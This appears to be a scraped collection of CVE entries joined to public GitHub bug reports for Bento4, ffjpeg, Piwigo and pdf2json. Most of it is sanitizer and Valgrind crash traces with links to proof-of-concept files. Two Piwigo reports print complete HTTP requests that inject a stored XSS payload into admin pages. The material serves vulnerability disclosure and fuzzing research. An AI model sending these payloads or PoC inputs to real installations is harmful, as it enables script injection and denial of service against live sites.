#2 0xf71c107b (/usr/lib32/libasan.so.2+0x1607b) #3 0xf724de80 (/usr/lib32/libasan.so.2+0xa2e80) #4 0xf71c6229 (/usr/lib32/libasan.so.2+0x1b229) #5 0xf7242e16 in operator new[](unsigned int) (/usr/lib32/libasan.so.2+0x97e16) #6 0x90075ba in AP4_IkmsAtom::AP4_IkmsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4IkmsAtom.cpp:87 #7 0x9008e85 in AP4_IkmsAtom::Create(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4IkmsAtom.cpp:51 #8 0x82db1ec in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:604 #9 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #10 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #12 0x841a898 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.cpp:80 #13 0x82e2631 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.h:56 #14 0x82e2631 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:363 #15 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #16 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #17 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #18 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #19 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #20 0xf69cb636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #21 0x808df1b (/mnt/data/playground/mp42-patch/Build/mp42aac+0x808df1b) The attachment is the poc file. [poc_input4.zip](https://github.com/axiomatic-systems/Bento4/files/3486302/poc_input4.zip)

Exhaustive memory usage

https://api.github.com/repos/axiomatic-systems/Bento4/issues/413/comments

2019-08-09T12:23:30Z

2019-08-25T16:23:00Z

https://github.com/axiomatic-systems/Bento4/issues/413

CVE-2020-19721

2021-07-13T22:15:09.067

A heap buffer overflow vulnerability in Ap4TrunAtom.cpp of Bento 1.5.1-628 may lead to an out-of-bounds write while running mp42aac, leading to system crashes and a denial of service (DOS).

https://github.com/axiomatic-systems/Bento4/issues/415

github.com

There is a heap buffer overflow in Ap4TrunAtom.cpp when running mp42aac. Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 To reproduce the bug, compile the project with flag '-DCMAKE_C_FLAGS=-g -m32 -fsanitize=address,undefined' then run: './mp42aac input /dev/null' ==147243==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf4208b40 at pc 0x083eb6d5 bp 0xffef35d8 sp 0xffef35c8 WRITE of size 4 at 0xf4208b40 thread T0 #0 0x83eb6d4 in AP4_Array<AP4_TrunAtom::Entry>::SetItemCount(unsigned int) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4TrunAtom.h:58 #1 0x83d7d9b in AP4_TrunAtom::AP4_TrunAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4TrunAtom.cpp:127 #2 0x83dde35 in AP4_TrunAtom::Create(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4TrunAtom.cpp:51 #3 0x82dd3b4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:408 #4 0x8301ca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #5 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #6 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #7 0x841a898 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.cpp:80 #8 0x82e2631 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4MoovAtom.h:56 #9 0x82e2631 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:363 #10 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #11 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #12 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #13 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #14 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #15 0xf6a26636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #16 0x808df1b (/mnt/data/playground/mp42-patch/Build/mp42aac+0x808df1b) 0xf4208b40 is located 0 bytes to the right of 34624-byte region [0xf4200400,0xf4208b40) allocated by thread T0 here: #0 0xf729dcd6 in operator new(unsigned int) (/usr/lib32/libasan.so.2+0x97cd6) #1 0x83e9fa7 in AP4_Array<AP4_TrunAtom::Entry>::EnsureCapacity(unsigned int) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4Array.h:172 #2 0x83e9fa7 in AP4_Array<AP4_TrunAtom::Entry>::SetItemCount(unsigned int) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4Array.h:210 SUMMARY: AddressSanitizer: heap-buffer-overflow /mnt/data/playground/mp42-a/Source/C++/Core/Ap4TrunAtom.h:58 AP4_Array<AP4_TrunAtom::Entry>::SetItemCount(unsigned int) Shadow bytes around the buggy address: 0x3e841110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3e841120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3e841130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3e841140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3e841150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x3e841160: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa 0x3e841170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e841180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e841190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e8411a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e8411b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==147243==ABORTING [poc_input5.zip](https://github.com/axiomatic-systems/Bento4/files/3486635/poc_input5.zip)

Heap buffer overflow in Ap4TrunAtom.cpp when running mp42aac

https://api.github.com/repos/axiomatic-systems/Bento4/issues/415/comments

2019-08-09T13:50:32Z

2019-08-25T16:22:31Z

https://github.com/axiomatic-systems/Bento4/issues/415

CVE-2020-19722

2021-07-13T22:15:09.093

An unhandled memory allocation failure in Core/Ap4Atom.cpp of Bento 1.5.1-628 causes a direct copy to NULL pointer dereference, leading to a denial of service (DOS).

https://github.com/axiomatic-systems/Bento4/issues/418

github.com

There is a buffer overflow in Ap4ElstAtom.cpp related to AP4_ElstAtom. Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenial gcc: 5.4.0 To reproduce the bug, compile the project with flag DCMAKE_C_FLAGS=-g -m32 -fsanitize=address,undefined then run: ./mp42aac input /dev/null The occur location in the function AP4_NullTerminatedStringAtom, Source/C++/Core/Ap4Atom.cpp.  Here is the trace reported by ASAN: ==10577==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf54006cf at pc 0x085d6d35 bp 0xffe49ac8 sp 0xffe49ab8 WRITE of size 1 at 0xf54006cf thread T0 #0 0x85d6d34 in AP4_NullTerminatedStringAtom::AP4_NullTerminatedStringAtom(unsigned int, unsigned long long, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4Atom.cpp:474 #1 0x82ccfbb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:529 #2 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #3 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #4 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #5 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #6 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #7 0xf6a25636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #8 0x808df1b (/mnt/data/playground/mp42-patch/Build/mp42aac+0x808df1b) 0xf54006cf is located 1 bytes to the left of 1-byte region [0xf54006d0,0xf54006d1) allocated by thread T0 here: #0 0xf729ce46 in operator new[](unsigned int) (/usr/lib32/libasan.so.2+0x97e46) #1 0x85d6657 in AP4_NullTerminatedStringAtom::AP4_NullTerminatedStringAtom(unsigned int, unsigned long long, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4Atom.cpp:472 #2 0x82ccfbb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:529 #3 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:225 #4 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #5 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #6 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #7 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #8 0xf6a25636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) SUMMARY: AddressSanitizer: heap-buffer-overflow /mnt/data/playground/mp42-a/Source/C++/Core/Ap4Atom.cpp:474 AP4_NullTerminatedStringAtom::AP4_NullTerminatedStringAtom(unsigned int, unsigned long long, AP4_ByteStream&) Shadow bytes around the buggy address: 0x3ea80080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea80090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea800a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea800b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea800c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ea800d0: fa fa fa fa fa fa fa fa fa[fa]01 fa fa fa 00 04 0x3ea800e0: fa fa 00 04 fa fa 00 fa fa fa 00 04 fa fa 00 fa 0x3ea800f0: fa fa 00 04 fa fa 00 fa fa fa 00 04 fa fa 00 fa 0x3ea80100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea80110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ea80120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==10577==ABORTING This is the POC input: [poc_inputs.zip](https://github.com/axiomatic-systems/Bento4/files/3486829/poc_inputs.zip)

buffer overflow in AP4_NullTerminatedStringAtom

https://api.github.com/repos/axiomatic-systems/Bento4/issues/418/comments

2019-08-09T14:41:05Z

2019-08-25T16:21:42Z

https://github.com/axiomatic-systems/Bento4/issues/418

CVE-2020-23705

2021-07-15T22:15:09.197

A global buffer overflow vulnerability in jfif_encode at jfif.c:701 of ffjpeg through 2020-06-22 allows attackers to cause a Denial of Service (DOS) via a crafted jpeg file.

https://github.com/rockcarry/ffjpeg/issues/25

github.com

### Describe A global-buffer-overflow was discovered in ffjpeg. The issue is being triggered in function jfif_encode at jfif.c:701 ### Reproduce Tested in Ubuntu 18.04, 64bit. Compile ffjpeg with address sanitizer as I changed `CCFLAGS` src/Makefile as: ```bash # ASan CCFLAGS = -Wall -g -fsanitize=address -fno-omit-frame-pointer -O1 ``` And do this command to reproduce this issue: `ffjpeg -e $poc` [poc is here](https://github.com/WayneDevMaze/afl_test_works/blob/master/ffjpeg/poc/global-buffer-overflow-poc1) ### Expected behavior An attacker can exploit this vulnerability by submitting a malicious jpeg that exploits this issue. This will result in a Denial of Service (DoS) and when the application attempts to process the file. ### ASAN Reports ```bash ==81140==ERROR: AddressSanitizer: global-buffer-overflow on address 0x56063a6c1b92 at pc 0x7f2c96918733 bp 0x7ffe503e7fe0 sp 0x7ffe503e7788 READ of size 272 at 0x56063a6c1b92 thread T0 #0 0x7f2c96918732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x56063a6a88e7 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x56063a6a88e7 in jfif_encode /root/study/ffjpeg/src/jfif.c:701 #3 0x56063a69b382 in main /root/study/ffjpeg/src/ffjpeg.c:30 #4 0x7f2c964cfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x56063a69b829 in _start (/root/study/ffjpeg/test/ffjpeg+0x2829) 0x56063a6c1b92 is located 0 bytes to the right of global variable 'STD_HUFTAB_LUMIN_AC' defined in 'huffman.c:388:12' (0x56063a6c1ae0) of size 178 SUMMARY: AddressSanitizer: global-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0ac1474d0320: 00 00 00 00 00 00 00 00 05 f9 f9 f9 f9 f9 f9 f9 0x0ac1474d0330: 00 00 00 04 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0ac1474d0340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 f9 0x0ac1474d0350: f9 f9 f9 f9 00 00 00 04 f9 f9 f9 f9 00 00 00 00 0x0ac1474d0360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ac1474d0370: 00 00[02]f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0ac1474d0380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ac1474d0390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ac1474d03a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ac1474d03b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ac1474d03c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==81140==ABORTING ```

global-buffer-overflow in function jfif_encode at jfif.c:701

https://api.github.com/repos/rockcarry/ffjpeg/issues/25/comments

2020-06-22T08:20:48Z

2020-08-07T00:30:39Z

https://github.com/rockcarry/ffjpeg/issues/25

CVE-2020-22148

2021-07-21T17:15:08.123

A stored cross site scripting (XSS) vulnerability in /admin.php?page=tags of Piwigo 2.10.1 allows attackers to execute arbitrary web scripts or HTML.

https://github.com/Piwigo/Piwigo/issues/1157

github.com

Hi team, I just found a stored XSS in `admin.php?page=tags`. Exploit Request : ``` POST /piwigo/piwigo/admin.php?page=tags HTTP/1.1 Host: 192.168.10.138 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded Content-Length: 109 Origin: http://192.168.10.138 Connection: close Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=tags Cookie: pwg_id=kikufgh78rp553s266q6r0sj62 Upgrade-Insecure-Requests: 1 pwg_token=c8dea9237930ccb48c6d1a4e5020b32b&add_tag=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&add=Submit ``` PoC: 

Stored Cross Site Scripting in /admin.php?page=tags

https://api.github.com/repos/Piwigo/Piwigo/issues/1157/comments

2020-02-12T02:40:57Z

2021-12-07T11:25:00Z

https://github.com/Piwigo/Piwigo/issues/1157

CVE-2020-22150

2021-07-21T17:15:08.167

A cross site scripting (XSS) vulnerability in /admin.php?page=permalinks of Piwigo 2.10.1 allows attackers to execute arbitrary web scripts or HTML.

https://github.com/Piwigo/Piwigo/issues/1158

github.com

Hi team! I found a XSS in XSS in /admin.php?page=permalinks Exploit Request: ``` POST /piwigo/piwigo/admin.php?page=permalinks HTTP/1.1 Host: 192.168.10.138 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded Content-Length: 138 Origin: http://192.168.10.138 Connection: close Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=permalinks Cookie: pwg_id=ragm92nc6a3rr532fi0h9h6f21 Upgrade-Insecure-Requests: 1 cat_id=3&permalink=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&save=on&set_permalink=Submit&pwg_token=2048f9dd482aaca003e193045fd4f763 ``` PoC:  

XSS in /admin.php?page=permalinks

https://api.github.com/repos/Piwigo/Piwigo/issues/1158/comments

2020-02-12T03:32:27Z

2021-12-07T11:25:28Z

https://github.com/Piwigo/Piwigo/issues/1158

CVE-2020-19463

2021-07-21T18:15:08.467

An issue has been found in function vfprintf in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to a stack overflow.

https://github.com/flexpaper/pdf2json/issues/24

github.com

Hi, Our fuzzer found a crash due to a stack overflow bug on the function vfprintf (the latest commit b671b64 on master - version 0.70). PoC_so_vfprintf: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_so_vfprintf Valgrind says: ~~~ valgrind pdf2json PoC_so_vfprintf /dev/null ==8530== Memcheck, a memory error detector ==8530== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==8530== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==8530== Command: ./pdf2json PoC_so_vfprintf /dev/null ==8530== Error: PDF file is damaged - attempting to reconstruct xref table... Error (13719): Illegal character <8e> in hex string Error (13778): Illegal character <db> in hex string Error (13781): Illegal character <94> in hex string Error (13782): Illegal character <02> in hex string Error (13783): Illegal character <a2> in hex string Error: End of file inside array Error: End of file inside dictionary Error (193): Illegal character '>' Error (195): Dictionary key must be a name object Error (203): Dictionary key must be a name object Error (229): Dictionary key must be a name object Error (232): Dictionary key must be a name object Error (491): Illegal character <01> in hex string Error (496): Illegal character <6e> in hex string Error (498): Illegal character <6f> in hex string Error (500): Illegal character <6a> in hex string Error (506): Illegal character <6f> in hex string Error (508): Illegal character <6a> in hex string Error (510): Illegal character <3c> in hex string Error (511): Illegal character <3c> in hex string Error (513): Illegal character <2f> in hex string ... Error (8023): Dictionary key must be a name object ==8530== Stack overflow in thread #1: can't grow stack to 0xffe801000 ==8530== ==8530== Process terminating with default action of signal 11 (SIGSEGV) ==8530== Access not within mapped region at address 0xFFE801FF8 ==8530== Stack overflow in thread #1: can't grow stack to 0xffe801000 ==8530== at 0x5756642: _IO_default_xsputn (genops.c:422) ==8530== If you believe this happened as a result of a stack ==8530== overflow in your program's main thread (unlikely but ==8530== possible), you can try to increase the size of the ==8530== main thread stack using the --main-stacksize= flag. ==8530== The main thread stack size used in this run was 8388608. ==8530== Stack overflow in thread #1: can't grow stack to 0xffe801000 ==8530== ==8530== Process terminating with default action of signal 11 (SIGSEGV) ==8530== Access not within mapped region at address 0xFFE801FF0 ==8530== Stack overflow in thread #1: can't grow stack to 0xffe801000 ==8530== at 0x4A28680: _vgnU_freeres (in /usr/lib/valgrind/vgpreload_core-amd64-linux.so) ==8530== If you believe this happened as a result of a stack ==8530== overflow in your program's main thread (unlikely but ==8530== possible), you can try to increase the size of the ==8530== main thread stack using the --main-stacksize= flag. ==8530== The main thread stack size used in this run was 8388608. ==8530== ==8530== HEAP SUMMARY: ==8530== in use at exit: 15,497,401 bytes in 256,831 blocks ==8530== total heap usage: 435,600 allocs, 178,769 frees, 16,602,462 bytes allocated ==8530== ==8530== LEAK SUMMARY: ==8530== definitely lost: 0 bytes in 0 blocks ==8530== indirectly lost: 0 bytes in 0 blocks ==8530== possibly lost: 0 bytes in 0 blocks ==8530== still reachable: 15,497,401 bytes in 256,831 blocks ==8530== suppressed: 0 bytes in 0 blocks ==8530== Rerun with --leak-check=full to see details of leaked memory ==8530== ==8530== For counts of detected and suppressed errors, rerun with: -v ==8530== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV (stack overflow) on vfprintf

https://api.github.com/repos/flexpaper/pdf2json/issues/24/comments

2019-05-27T22:42:03Z

2019-05-29T17:40:53Z

https://github.com/flexpaper/pdf2json/issues/24

CVE-2020-19464

2021-07-21T18:15:08.507

An issue has been found in function XRef::fetch in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to a stack overflow .

https://github.com/flexpaper/pdf2json/issues/25

github.com

Hi, Our fuzzer found a crash due to a stack overflow bug on the function XRef::fetch (the latest commit b671b64 on master - version 0.70). PoC_so_XRef::fetch: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_so_XRef::fetch Valgrind says: ~~~ valgrind pdf2json PoC_so_XRef\:\:fetch /dev/null ==17786== Memcheck, a memory error detector ==17786== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==17786== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==17786== Command: ./pdf2json PoC_so_XRef::fetch /dev/null ==17786== ==17786== Stack overflow in thread #1: can't grow stack to 0xffe801000 ==17786== ==17786== Process terminating with default action of signal 11 (SIGSEGV) ==17786== Access not within mapped region at address 0xFFE801FF8 ==17786== Stack overflow in thread #1: can't grow stack to 0xffe801000 ==17786== at 0x4090A2: Object::Object() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43F7AB: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43CE5B: ObjectStream::ObjectStream(XRef*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43FB1F: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43CE5B: ObjectStream::ObjectStream(XRef*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43FB1F: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43CE5B: ObjectStream::ObjectStream(XRef*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43FB1F: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43CE5B: ObjectStream::ObjectStream(XRef*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43FB1F: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43CE5B: ObjectStream::ObjectStream(XRef*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== by 0x43FB1F: XRef::fetch(int, int, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17786== If you believe this happened as a result of a stack ==17786== overflow in your program's main thread (unlikely but ==17786== possible), you can try to increase the size of the ==17786== main thread stack using the --main-stacksize= flag. ==17786== The main thread stack size used in this run was 8388608. ==17786== Stack overflow in thread #1: can't grow stack to 0xffe801000 ==17786== ==17786== Process terminating with default action of signal 11 (SIGSEGV) ==17786== Access not within mapped region at address 0xFFE801FF8 ==17786== Stack overflow in thread #1: can't grow stack to 0xffe801000 ==17786== at 0x4A28680: _vgnU_freeres (in /usr/lib/valgrind/vgpreload_core-amd64-linux.so) ==17786== If you believe this happened as a result of a stack ==17786== overflow in your program's main thread (unlikely but ==17786== possible), you can try to increase the size of the ==17786== main thread stack using the --main-stacksize= flag. ==17786== The main thread stack size used in this run was 8388608. ==17786== ==17786== HEAP SUMMARY: ==17786== in use at exit: 836,551 bytes in 27,879 blocks ==17786== total heap usage: 27,938 allocs, 59 frees, 946,615 bytes allocated ==17786== ==17786== LEAK SUMMARY: ==17786== definitely lost: 0 bytes in 0 blocks ==17786== indirectly lost: 0 bytes in 0 blocks ==17786== possibly lost: 0 bytes in 0 blocks ==17786== still reachable: 836,551 bytes in 27,879 blocks ==17786== suppressed: 0 bytes in 0 blocks ==17786== Rerun with --leak-check=full to see details of leaked memory ==17786== ==17786== For counts of detected and suppressed errors, rerun with: -v ==17786== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV (stack overflow) on XRef::fetch

https://api.github.com/repos/flexpaper/pdf2json/issues/25/comments

2019-05-27T22:46:07Z

2019-05-29T17:40:38Z

https://github.com/flexpaper/pdf2json/issues/25

